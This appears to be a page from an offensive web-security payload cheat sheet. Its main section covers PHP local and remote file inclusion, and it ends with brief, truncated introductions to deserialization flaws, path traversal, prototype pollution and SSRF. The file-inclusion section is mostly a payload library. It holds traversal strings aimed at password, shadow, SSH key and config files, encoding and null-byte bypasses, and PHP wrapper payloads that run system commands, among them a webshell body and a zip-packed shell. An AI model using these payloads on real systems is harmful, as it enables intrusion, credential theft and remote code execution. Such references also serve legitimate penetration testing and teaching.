Server-Side

File Inclusion (LFI / RFI) Severity: Critical | CWE: CWE-98, CWE-22 OWASP: A03:2021 – Injection What Is File Inclusion? PHP and other server-side languages allow dynamic file inclusion via include(), require(), include_once(), require_once(). When the included filename is attacker-controlled: LFI (Local File Inclusion) — read local files, potentially execute code via log poisoning or PHP wrappers RFI (Remote File Inclusion) — include remote URL as PHP code (requires allow_url_include=On) // Vulnerable code patterns: include($_GET['page'] . ".php"); // append .php include("pages/" . $_GET['template']); // prefix + user input require($_POST['module']); // full control Discovery Checklist Find parameters that load file paths: page=, file=, template=, lang=, module=, include=, path=, view= Test basic traversal: ../../../etc/passwd Test with and without extension appending (does error show extension?) Test PHP wrappers: php://filter, php://input, data://, expect:// Test null byte termination for PHP < 5.3.4: ../../../etc/passwd%00 Test path normalization: ....//....//....//etc/passwd Test log poisoning → LFI to RCE Check error messages for absolute path disclosure Test RFI if app allows external URLs Test /proc/self/environ poisoning via User-Agent Test /proc/self/fd/[n] for open file descriptor log access Test ZIP/PHAR wrappers for LFI to RCE Payload Library Payload 1 — Basic LFI Path Traversal # Linux targets: ../../../etc/passwd ../../../etc/shadow ../../../etc/hosts ../../../etc/hostname ../../../proc/version ../../../proc/self/cmdline ../../../proc/self/environ ../../../var/log/apache2/access.log ../../../var/log/apache2/error.log ../../../var/log/nginx/access.log ../../../var/log/auth.log ../../../var/log/mail.log ../../../home/USER/.bash_history ../../../home/USER/.ssh/id_rsa ../../../root/.bash_history ../../../root/.ssh/id_rsa ../../../etc/mysql/my.cnf ../../../etc/php/php.ini ../../../var/www/html/config.php # Windows targets: ..\..\..\windows\win.ini ..\..\..\windows\system32\drivers\etc\hosts ..\..\..\inetpub\wwwroot\web.config ..\..\..\xampp\apache\conf\httpd.conf C:\windows\win.ini C:\inetpub\wwwroot\web.config # URL-encoded variants: ..%2F..%2F..%2Fetc%2Fpasswd ..%252F..%252F..%252Fetc%252Fpasswd # double-encoded %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd %2e%2e/%2e%2e/%2e%2e/etc/passwd ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # overlong UTF-8 # Null byte (PHP < 5.3.4) — truncate extension append: ../../../etc/passwd%00 ../../../etc/passwd%00.jpg ../../../etc/passwd\0 # Dot truncation (Windows, long paths) — extension gets cut off: ../../../windows/win.ini..........[add many dots/spaces] # Extra dot/slash normalization bypass: ....//....//....//etc/passwd ....\/....\/....\/etc/passwd ..././..././..././etc/passwd Payload 2 — PHP Wrappers # php://filter — read file source without executing (base64): php://filter/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=../config.php php://filter/read=string.rot13/resource=index.php php://filter/convert.iconv.utf-8.utf-16/resource=index.php # Decode base64 output: echo "BASE64_OUTPUT" | base64 -d # php://filter chains (PHP 8 / newer — multiple filters): php://filter/convert.iconv.UTF-8.UTF-32|convert.base64-encode/resource=/etc/passwd # php://input — execute POST body as PHP (requires allow_url_include or include): # Send: include('php://input') # POST body: <?php system($_GET['cmd']); ?> # data:// wrapper — inline code execution: data://text/plain,<?php system('id');?> data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ # base64 of: <?php system('id');?> # expect:// — direct command execution (requires expect extension): expect://id expect://whoami expect://cat+/etc/passwd # zip:// wrapper — execute PHP in a ZIP archive: # Create: echo "<?php system($_GET['cmd']); ?>" > shell.php && zip shell.zip shell.php zip://path/to/uploaded/shell.zip%23shell.php # phar:// wrapper — PHAR deserialization (see 20_Deser_PHP.md): phar://path/to/uploaded/file.jpg # Combining wrappers: php://filter/convert.base64-decode/resource=data://text/plain,PD9waHAgcGhwaW5mbygpOz8+ Payload 3 — Log Poisoning → LFI to RCE Poison a log file with PHP code via a user-controlled field, then include the log file. ...

Insecure Deserialization — .NET Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures What Is .NET Deserialization? .NET has multiple serialization formats and deserializers — each with different gadget chains. The most dangerous are BinaryFormatter and SoapFormatter (both removed/disabled in .NET 5+), but many legacy applications still use them. JSON.NET (Newtonsoft.Json) is vulnerable to type confusion when TypeNameHandling is set insecurely. BinaryFormatter: binary format — .NETSEC magic bytes: 00 01 00 00 00 SoapFormatter: XML/SOAP format — <SOAP-ENV:Envelope> LosFormatter: ViewState format — /w... ObjectStateFormatter: ASP.NET ViewState (HMAC-signed but weak key) JSON.NET: {"$type":"System.Windows.Data.ObjectDataProvider,..."} DataContractSerializer: XML with type hints ysoserial.net is the primary tool — equivalent of ysoserial for Java. ...

Insecure Deserialization — Node.js Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures What Is Node.js Deserialization? Unlike Java/PHP, Node.js doesn’t have a single dominant serialization format. Vulnerabilities arise in: node-serialize — uses IIFE pattern (_$$ND_FUNC$$_) to embed executable functions cryo — serializes functions, exploitable via custom class injection serialize-javascript — meant for safe serialization but misused __proto__ pollution via JSON.parse — not deserialization per se but JSON-triggered prototype pollution vm module escape — sandbox breakout when deserializing into vm context Cookie/session forgery — express-session with weak secret, cookie-parser with known secret // node-serialize vulnerable pattern: var serialize = require('node-serialize'); var data = cookieParser.parse(req.headers.cookie)['profile']; var obj = serialize.unserialize(data); // ← RCE if IIFE in data Discovery Checklist Phase 1 — Identify Serialization ...

Insecure Deserialization — Python Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures What Is the Attack Surface? Python’s deserialization ecosystem is broader than most developers realize. Beyond the infamous pickle, there are PyYAML, marshal, shelve, jsonpickle, ruamel.yaml, dill, pandas.read_pickle(), and even numpy.load(). Each has distinct exploitation characteristics. The core issue: these formats encode object type information alongside data. During deserialization, the runtime reconstructs arbitrary objects — and crafted payloads can execute code during that reconstruction. ...

Java Deserialization Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures What Is Java Deserialization? Java’s native serialization converts objects to a byte stream (serialize) and back to objects (deserialize). When an application deserializes attacker-controlled data, the attacker can provide a crafted byte stream that, when deserialized, executes arbitrary code — even before the application logic has a chance to inspect the data. The execution happens through gadget chains: sequences of existing library classes whose methods, when invoked in sequence during deserialization, result in OS command execution. The attacker doesn’t inject new code — they exploit existing code already on the classpath. ...

Path Traversal / Directory Traversal Severity: High–Critical CWE: CWE-22 OWASP: A01:2021 – Broken Access Control What Is Path Traversal? Path Traversal (also known as Directory Traversal or ../ attack) occurs when user-controlled input is used to construct a filesystem path without proper sanitization, allowing the attacker to read (or write) files outside the intended directory. The canonical payload is ../ — traversing one directory level up. Chained enough times, it reaches the root of the filesystem and can access any readable file: credentials, source code, private keys, configurations, OS files. ...

PHP Object Deserialization Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures What Is PHP Deserialization? PHP’s unserialize() converts a serialized string back into a PHP object. If attacker-controlled data reaches unserialize(), the attacker can instantiate arbitrary classes. PHP automatically calls magic methods on deserialized objects: __wakeup() → called on unserialize __destruct() → called when object is garbage collected __toString() → called when object used as string __call() → called when invoking inaccessible method __get() → called when reading inaccessible property __set() → called when writing inaccessible property __invoke() → called when object used as function A POP chain (Property-Oriented Programming) links multiple classes whose magic methods call each other, ultimately reaching a dangerous sink (file write, shell exec, SQL query, etc.). ...

Prototype Pollution (Server-Side / Node.js) Severity: Critical | CWE: CWE-1321 OWASP: A03:2021 – Injection What Is Server-Side Prototype Pollution? Same root cause as client-side (see 55_ProtoPollution_Client.md) but exploited in Node.js server processes. When user-controlled JSON/query data reaches _.merge, qs.parse, lodash.set, or similar functions on the server, polluting Object.prototype can: Bypass authentication (add isAdmin: true to all objects) RCE via gadget chains in template engines, child_process, spawn, or env variables Crash the server (DoS via toString or constructor overwrite) Unlike client-side, impact persists across all user sessions until server restarts — one successful attack affects all users. ...

Server-Side Request Forgery (SSRF) Severity: Critical CWE: CWE-918 OWASP: A10:2021 – Server-Side Request Forgery PortSwigger Rank: Top-tier, dedicated learning path What Is SSRF? Server-Side Request Forgery (SSRF) occurs when an attacker can make the server issue HTTP (or other protocol) requests to an arbitrary destination — whether internal services, cloud metadata endpoints, or external infrastructure — on the attacker’s behalf. The danger lies in what the server already has access to: internal APIs, admin interfaces, cloud IAM credentials, databases, microservices behind firewalls. The server trusts itself; SSRF abuses that trust. ...